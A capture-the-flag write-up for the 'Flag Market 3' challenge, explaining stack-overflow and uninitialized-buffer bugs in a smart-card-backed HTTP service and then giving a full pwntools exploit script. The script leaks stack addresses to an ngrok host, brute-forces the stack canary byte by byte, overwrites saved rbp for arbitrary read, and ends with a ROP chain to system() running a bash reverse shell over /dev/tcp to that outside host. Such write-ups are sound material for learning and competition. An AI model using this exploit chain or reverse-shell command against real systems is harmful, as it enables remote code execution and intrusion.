A very cool challenge that has combined both pwn and web
Flag Market 3
The challenge is running on ubuntu 20.04 with full protection
In the last part we have to get a shell on this Flag Market service
Identify the vulnerabilities
The first bug exists in connection_handler function
char request[MAX_REQ_BUF] = {};
char method[MAX_BUF] = {};
char path[MAX_BUF] = {};
char port[MAX_BUF] = {};
char host[MAX_BUF] = {};
n = sscanf(request, "%s /%s HTTP/1.1", method, path);
The second bug exists in card_status function
LONG rv;
DWORD readersLen;
DWORD atrLen;
DWORD pdwState;
DWORD pdwProtocol;
readersLen = SCARD_AUTOALLOCATE;
rv = SCardStatus(*hCard, readersBuf, &readersLen, &pdwState, &pdwProtocol, atrBuf, &atrLen);
The third bug exists in do_transmit function
BYTE transmitBuf[MAX_BUF];
DWORD transmitLen;
BYTE cmd1[] = { 0x00, 0xA4, 0x04, 0x00, 0x10, 0xCA, 0x44, 0x6F, 0x66, 0xD3, 0x52, 0x89, 0x58, 0xAA, 0x06, 0xC6, 0xEB, 0xF5, 0x57, 0x6B, 0x3E };
rv = transmit(*hCard, cmd1, sizeof(cmd1), transmitBuf, &transmitLen);
if (rv != SCARD_S_SUCCESS)
return rv;
if (check_transmit(transmitBuf, transmitLen) < 0)
return -1;
BYTE cmd2[] = { 0x00, 0xB2, 0x00, 0x00, 0x40 };
rv = transmit(*hCard, cmd2, sizeof(cmd2), transmitBuf, &transmitLen);
if (rv != SCARD_S_SUCCESS)
return rv;
if (check_transmit(transmitBuf, transmitLen) < 0)
return -1;
memcpy(credit, transmitBuf, sizeof(Card));
This can help us leak some address.
Understanding the internal vsmartcard
The important function we have to look into first is
PCSC_API LONG SCardStatus(SCARDHANDLE hCard, LPSTR mszReaderName, LPDWORD pcchReaderLen, LPDWORD pdwState, LPDWORD pdwProtocol, LPBYTE pbAtr, LPDWORD pcbAtrLen)
{
LONG r;
SET_R_TEST( handle2reader(hCard, mszReaderName, pcchReaderLen));
SET_R_TEST( handle2atr(hCard, pbAtr, pcbAtrLen));
err:
return r;
}
It will call handle2atr function, and then this function will call
SET_R_TEST( responsecode2long(
IFDHICCPresence(Lun)));
SET_R_TEST( autoallocate(pbAtr, pcbAtrLen, MAX_ATR_SIZE, (void **) &atr));
if (!atr) {
/* caller wants to have the length */
*pcbAtrLen = sizeof _atr;
atr = _atr;
}
SET_R_TEST( responsecode2long(
IFDHGetCapabilities (Lun, TAG_IFD_ATR, pcbAtrLen, atr)));
switch (vicc_present(ctx[slot])) {
case 0:
return IFD_ICC_NOT_PRESENT;
case 1:
return IFD_ICC_PRESENT;
default:
Log1(PCSC_LOG_ERROR, "Could not get ICC state");
return IFD_COMMUNICATION_ERROR;
}
size = vicc_getatr(ctx[slot], &atr);
if (!vicc_connect(ctx, 0, 0) || vicc_getatr(ctx, &atr) <= 0)
return 0;
to:
if (!vicc_connect(ctx, 3, 0) || vicc_getatr(ctx, &atr) <= 0)
return 0;
if(!ctx->hostname) {
/* server mode, try to accept a client */
ctx->client_sock = waitforclient(ctx->server_sock, secs, usecs);
It was patched from 0 to 3 to give us time for connection.
vicc_transmit(ctx, VPCD_CTRL_LEN, &i, atr);
if (apdu_len && apdu)
r = sendToVICC(ctx, apdu_len, apdu);
else
r = 1;
if (r > 0 && rapdu)
r = recvFromVICC(ctx, rapdu);
We are more intersted in
/* receive size of message on 2 bytes */
r = recvall(ctx->client_sock, &size, sizeof size);
if (r < sizeof size)
return r;
size = ntohs(size);
if (0 != size) {
p = realloc(*buffer, size);
if (p == NULL) {
errno = ENOMEM;
return -1;
}
*buffer = p;
}
/* receive message */
return recvall(ctx->client_sock, *buffer, size);
The transfering scheme is as follow:
- Read the first 2 bytes. This will be the message size.
- Read enough bytes with the size received.
Now we should recap
- Call
vicc_connect andvicc_getatr to listen and confirm thats there is a client connecting to. - Call
vicc_getatr again to fill the atrBuf
The last function we have to look into istransmit which is called indo_transmit function:
LONG transmit(SCARDHANDLE hCard, LPCBYTE sendBuf, DWORD sendLen, LPBYTE transmitBuf, DWORD *transmitLen)
{
LONG rv;
SCARD_IO_REQUEST pioSendPci;
DWORD recvLen;
BYTE recvBuf[MAX_BUF];
recvLen = sizeof(recvBuf);
rv = SCardTransmit(hCard, &pioSendPci, sendBuf, sendLen, NULL, recvBuf, &recvLen);
if (rv != SCARD_S_SUCCESS)
return rv;
memcpy(transmitBuf, recvBuf, recvLen);
*transmitLen = recvLen;
return SCARD_S_SUCCESS;
}
But the received data has to pass a check, the last 2 bytes have to be ‘\x90\x00’:
LONG check_transmit(char* buf, DWORD bufLen)
{
if (bufLen < 2)
return -1;
if (buf[bufLen-2] == '\x90' && buf[bufLen-1] == '\x00')
return 0;
return -1;
}
That’s the important part of internal vsmartcard.
Exploiting with SSRF in a pwn challenge
The internal listening port of vscard for vicc_connect is 35963. Because this port is not exposed to the outside, we have to abuse the overflow bug, overwrite the port and host.
Therefore our plan is:
- First connection will send ‘BUY_FLAG /buy_flag HTTP/1.1’, to invoke
vicc_connect , this will serve as the server. - Second connection will send request that overflows host and port, makes
connect_backend connect to the first connection’s server. - Now our request data in second connection will se sent to first connection’s server.
Knowing that there are 2 bugs: the overflow atrBuf and uninitialized transmitBuf, this will enable us to trigger these 2 bugs.
The full exploit plan
First because each process is forked, so every child and parent shares the same address and canary.
Therefore we only need to leak once in each process and can be reused later.
Our stages of exploit:
The first stage:
We want to leak some address through theuninitialized transmitBuf . To do this, in our do_transmit process we will send very little data to fill intotransmitBuf .
This will copy things on stack to credit struct (Sadly there is only stack address)
Connection 1 will serve as server. Send ‘BUY_FLAG /buy_flag’ + manyA to overflow port and host, affect theconnect_backed so after thedo_transmit , this credit struct will be send to our remote server to get the leaked address.
Connecction 2 overflow port and host to connect to connection 1’s server, send very little data to transmitBuf, dont fill it.The second stage: Leak the canary. Abuse the
overflow atrBuf bug , so we will overwrite into canary value byte by byte. We will slowly guess each byte of canary.
If we receive Internal error that means we ran in to __stack_check_fail, thus thats the wrong value.
If not, that means we guessed the correct byte of canary.The third stage: With the canary and stack address, we will overwrite into saved rbp. This will affect the
route function.
Because the credit struct address is saved at[rbp-0x18]
. So we can overwrite rbp to somewhere near our initialrequestBuf .
And make a fake stack layout so that we will achieve arbitrary read, with this we will read libc address on the stack.connect_backend has tosend the data in credit struct to host and port . Port buffer address is at[rbp-0x48]
, host buffer address is at[rbp-0x40]
.
Carefully craft the fake stack layout and we will receive the leak in our remote server.The last stage:
ROP then reverse shell.
My messy exploit script
from pwn import *
#ip = "127.0.0.1"
#port = 13337
ip = 'flag-market-us.balsnctf.com'
port = 52090
# Our remote server
r_ip = '2.tcp.ngrok.io'
r_port = 16971
'''
FIRST STAGE: Leak stack address through the uninitialized transmitBuf during do_transmit
which makes the credit structs hold stack address
Due to fork this makes the stack address remains the same
'''
overflow = p16(791, endian='big') + b'''GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA35963AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlocalhost HTTP/1.1'''
req = overflow
atr = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2" # Satisfy the atr check
req += p16(len(atr), endian='big')
req += atr
# Fill very little into the transmitBuf
req += p16(2, endian='big')
req += b"\x90\x00" # To satisfy the check_transmit
req += p16(2, endian='big')
req += b"\x90\x00" # To satisfy the check_transmit
r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
p = process("/bin/nc -lnvp 51235",shell = True)
# Connection io and connection r are communicating with each other
# Connection r will have port and host overflown with our remote server so we will receive the credit struct
req1 = b"BUY_FLAG /" + b"buy_flag".ljust(384,b"A") + str(r_port).encode().ljust(384,b'A') + r_ip.encode()
r.send(req1)
time.sleep(0.1)
io.sendline(req)
io.close()
p.recvuntil(b"card_number=")
stack_leak = u64(p.recv(6).ljust(8,b'\0'))
log.info("STACK LEAK ADDRESS: " + hex(stack_leak))
r.close()
p.close()
'''
SECOND STAGE:
During the receiving of atrBuf, in the card_status the atrLen is uninitialized which means
we can overflow the atrBuf
Abuse this to overwrite into canary byte by byte, if crash and receive Internal error means wrong valule
If not that means the byte we guessed was correct
Due to fork this canary remains the same.
'''
canary = b'\x00'
for i in range(7):
for j in range(256):
tmp = canary + (j).to_bytes(1,byteorder='little')
req_ = overflow
to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + tmp
req_ += p16(len(to), endian='big')
req_ += to
req_ += p16(0x40+2, endian='big')
req_ += b"A"*0x40 + b"\x90\x00"
req_ += p16(0x40+2, endian='big')
req_ += b"A"*0x40 + b"\x90\x00"
r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
r.send('BUY_FLAG /buy_flag HTTP/1.1')
time.sleep(0.1)
io.sendline(req_)
data = r.recvline()
if b'Error' in data:
io.close()
r.close()
continue
else:
io.close()
r.close()
canary = tmp
break
log.info("CANARY: " + hex(int.from_bytes(canary,byteorder='little')))
'''
STAGE THREE:
Leak libc address by overwriting the saved rbp
Makes the rbp such that it will use the address we have in fake_stack_layout for the connect_backend and snprintf
Especially the credit address is at [rbp - 0x18], thus we have arbitrary read
Read libc address on the stack
Similarly to leak stack address our connection r will have port and host overflown to our remote server
'''
rbp = stack_leak + 0xa58
port_addr = stack_leak + 0x3f0
host_addr = port_addr + 0x180
context.log_level = 1
fake_stack_layout = p64(port_addr) + p64(host_addr) + p64(0)*5 + p64(stack_leak - 0x808)
req2 = req1.ljust(800,b'\0') + fake_stack_layout # Connection r will have the fake_stack_layout appended at the end of request
req_ = overflow
to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + canary + p64(rbp)
req_ += p16(len(to), endian='big')
req_ += to
req_ += p16(2, endian='big')
req_ += b"\x90\x00"
req_ += p16(2, endian='big')
req_ += b"\x90\x00"
r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
p = process("/bin/nc -lnvp 51235",shell = True)
r.send(req2)
time.sleep(0.1)
io.sendline(req_)
io.close()
p.recvuntil(b"card_holder=")
p.close()
r.close()
'''
LAST STAGE:
ROP and reverse shell with bash
'''
libc_leak = u64(p.recv(6).ljust(8,b'\0'))
libc_base = libc_leak - 0x92059
log.info("LIBC LEAK ADDRESS: " + hex(libc_leak))
log.info("LIBC BASE ADDRESS: " + hex(libc_base))
system = libc_base + 0x52290
pop_rdi_rbp = libc_base + 0x00000000000248f2
req_ = overflow
to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + canary + p64(rbp)
to += p64(pop_rdi_rbp) + p64(stack_leak + 0x70c) + p64(0)
to += p64(system)
req_ += p16(len(to), endian='big')
req_ += to
req_ += p16(2, endian='big')
req_ += b"\x90\x00"
req_ += p16(2, endian='big')
req_ += b"\x90\x00"
r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
p = process("/bin/nc -lnvp 51235",shell = True)
r.send(f"BUY_FLAG /buy_flag HTTP/1.1 bash -c 'bash -i >& /dev/tcp/{r_ip}/{r_port} 0>&1'")
time.sleep(0.1)
io.sendline(req_)
io.close()
p.interactive()